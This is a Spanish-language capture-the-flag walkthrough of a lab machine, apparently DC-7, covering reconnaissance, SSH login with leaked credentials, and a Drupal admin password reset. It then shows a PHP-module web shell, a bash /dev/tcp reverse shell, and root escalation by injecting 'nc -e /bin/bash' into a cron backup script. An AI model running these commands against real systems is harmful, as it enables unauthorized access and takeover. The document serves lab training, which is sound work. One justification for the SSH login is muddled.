El primer paso en el compromiso de la red es identificar los hosts activos. Utilizamos nmap para escanear el rango de direcciones IP 192.168.19.128/24.
nmap -sn 192.168.19.128/24
Se identifica el host activo en 192.168.19.134. A continuación, se realiza un escaneo de puertos exhaustivo en este host.
nmap -p- 192.168.19.134
El resultado del escaneo revela los siguientes puertos abiertos:
22/tcp open ssh
80/tcp open http
Procedemos a examinar el servicio web en el puerto 80.
Explotación Inicial
Utilizamos whatweb para identificar la tecnología subyacente del sitio web:
whatweb -v 192.168.19.134
whatweb revela que el sitio utiliza el sistema de gestión de contenidos (CMS) Drupal. Sin embargo, la vulnerabilidad principal en esta máquina no reside directamente en el CMS. Observando la parte inferior del sitio web, encontramos la cadena DC7USER, que sugiere un posible nombre de usuario.
Buscando en GitHub, se encuentra código fuente asociado al autor de la máquina, que incluye el archivo config.php con las siguientes credenciales de base de datos:
<?php
$servidor_db = "localhost";
$usuario_db = "dc7user";
$contrasena_db = "MdR3xOgB7#dW";
$nombre_db = "Staff";
$conexion_db = mysqli_connect($servidor_db, $usuario_db, $contrasena_db, $nombre_db);
?>
Estas credenciales se utilizan directamente para el acceso SSH, ya que es poco probable que las credenciales de acceso a la base de datos se expongan de forma insegura en una aplicación web.
ssh dc7user@192.168.19.134 -p 22
Dentro del shell SSH, encontramos un archivo mbox. Al examinar su contenido, se observa lo siguiente:
Subject: Cron <root@dc-7> /opt/scripts/backups.sh
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-Cron-Env: <PATH=/bin:/usr/bin:/usr/local/bin:/sbin:/usr/sbin>
X-Cron-Env: <SHELL=/bin/sh>
X-Cron-Env: <HOME=/root>
X-Cron-Env: <LOGNAME=root>
Message-Id: <E1i3EPu-0000CV-5C@dc-7>
Date: Thu, 29 Aug 2019 17:00:22 +1000
Database dump saved to /home/dc7user/backups/website.sql [success]
gpg: symmetric encryption of '/home/dc7user/backups/website.tar.gz' failed: File exists
gpg: symmetric encryption of '/home/dc7user/backups/website.sql' failed: File exists
Esta información indica que una copia de seguridad de la base de datos se guarda en /home/dc7user/backups/website.sql. Además, se observa que una tarea cron ejecutada con privilegios de root llama al script /opt/scripts/backups.sh.
Examinamos el contenido del script /opt/scripts/backups.sh:
#!/bin/bash
rm /home/dc7user/backups/*
cd /var/www/html/
drush sql-dump --result-file=/home/dc7user/backups/website.sql
cd ..
tar -czf /home/dc7user/backups/website.tar.gz html/
gpg --pinentry-mode loopback --passphrase PickYourOwnPassword --symmetric /home/dc7user/backups/website.sql
gpg --pinentry-mode loopback --passphrase PickYourOwnPassword --symmetric /home/dc7user/backups/website.tar.gz
chown dc7user:dc7user /home/dc7user/backups/*
rm /home/dc7user/backups/website.sql
rm /home/dc7user/backups/website.tar.gz
El script realiza copias de seguridad y cifrado de la base de datos y los archivos del sitio web. La ejecución del script como root se confirma revisando sus permisos:
ls -l /opt/scripts
-rwxrwxr-x 1 root www-data 520 Aug 29 2019 backups.sh
Actualmente, el usuario dc7user tiene permisos de lectura y ejecución, pero no de escritura, sobre este script. Dado que el script se ejecuta como root, inyectar un comando /bin/bash al final del script permitiría la escalada de privilegios cuando la tarea cron se ejecute.
Dado que se está utilizando Drupal, se puede interactuar con la base de datos. Primero, se vuelca la base de datos actual:
cd /var/www/html
drush sql-dump --result-file=/home/dc7user/backups/website.sql
A continuación, se modifica la contraseña del usuario administrador de Drupal:
drush user-password admin --password=123456
Ahora, se puede iniciar sesión en la interfaz web de Drupal. Al intentar agregar contenido, se observa que solo se permite formato HTML. Para superar esta limitación en Drupal 8 y versiones posteriores, se requiere instalar un módulo adicional. Navegamos a Extend -> List -> Install new module.
Se proporciona la URL para descargar un módulo que permite la ejecución de código PHP:
https://ftp.drupal.org/files/projects/php-8.x-1.0.tar.gz
Tras la descarga, se hace clic en Enable newly added modules y se selecciona el módulo PHP Filter para instalarlo. Una vez habilitado, la opción de seleccionar PHP Code estará disponible al crear o editar contenido.
Se inyecta una "reverse shell" básica en el sitio web (por ejemplo, en la ruta /node/4) y se utiliza una herramienta como AntSword para conectarse a ella. Desde AntSword, se establece una conexión de shell inverso a la máquina Kali.
# En Kali
nc -lvvp 2333
# En AntSword (ejecutado en la máquina comprometida)
bash -c 'bash -i >& /dev/tcp/192.168.19.128/2333 0>&1'
Escalada de Privilegios
Con el usuario www-data, que tiene permisos para escribir en /opt/scripts/backups.sh, podemos modificar el script para incluir un comando que establezca una conexión de red persistente al iniciar sesión como root. El comando inyectado en el script backups.sh podría ser:
nc -e /bin/bash 192.168.19.128 12345
En otra terminal en Kali, se configura un listener para recibir la conexión entrante:
nc -lvvp 12345
Al esperar a que la tarea cron ejecute el script modificado, se obtendrá una shell con privilegios de root. Una vez obtenidos los privilegios de root, se puede proceder a localizar y leer el archivo de flag en el directorio /root.